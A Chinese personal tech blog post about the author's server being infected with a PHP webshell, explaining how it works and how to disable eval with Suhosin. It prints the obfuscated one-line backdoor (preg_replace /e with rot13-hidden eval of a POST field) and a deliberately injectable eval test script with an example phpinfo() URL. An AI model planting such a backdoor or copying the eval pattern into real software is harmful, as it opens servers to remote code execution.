余璜的技术博客

好玩就好

中木马了

服务器中了木马,代码如下:

($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

原理:

这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:

<?php
// filename: test.php
$var = "var";

if (isset($_GET["arg"]))

{

  $arg = $_GET["arg"];

  eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对

  echo $var;

}
?>

然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。



解决方案:

看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。



如何测试是否禁用成功,增加程序test.php:

<?php
//  例子来源:http://www.php.net/manual/zh/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
eval("\$str = \"$str\";");
echo $str. "\n";
?>

如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。



方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:

[root@AY]# php test.php
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1


阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。微信hustos联系博主。 https://blog.csdn.net/maray/article/details/49945607
上一篇详解MySQL Server端如何发送结果集给客户端
下一篇学习npm
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭